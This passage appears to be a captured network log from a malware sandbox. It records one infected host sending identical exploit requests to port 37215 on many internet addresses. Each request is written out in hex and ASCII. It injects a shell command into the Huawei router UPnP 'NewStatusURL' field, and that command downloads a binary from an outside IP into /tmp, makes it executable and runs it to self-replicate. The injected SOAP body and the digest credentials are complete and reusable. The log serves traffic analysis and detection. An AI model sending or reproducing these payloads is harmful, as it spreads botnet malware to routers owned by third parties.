2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	35338	177.186.243.242	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607315063 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	36242	41.183.144.125	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607362032 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	44410	99.216.115.116	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607367039 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	56542	41.140.10.97	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607367992 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	48538	197.42.176.105	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607412100 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	39250	147.211.62.145	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607470036 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	58962	197.237.103.241	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607470036 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	59630	157.108.49.207	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607472897 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	45710	157.102.148.103	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607520103 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	54228	195.22.164.112	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607522011 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	53244	197.75.43.144	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607563972 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 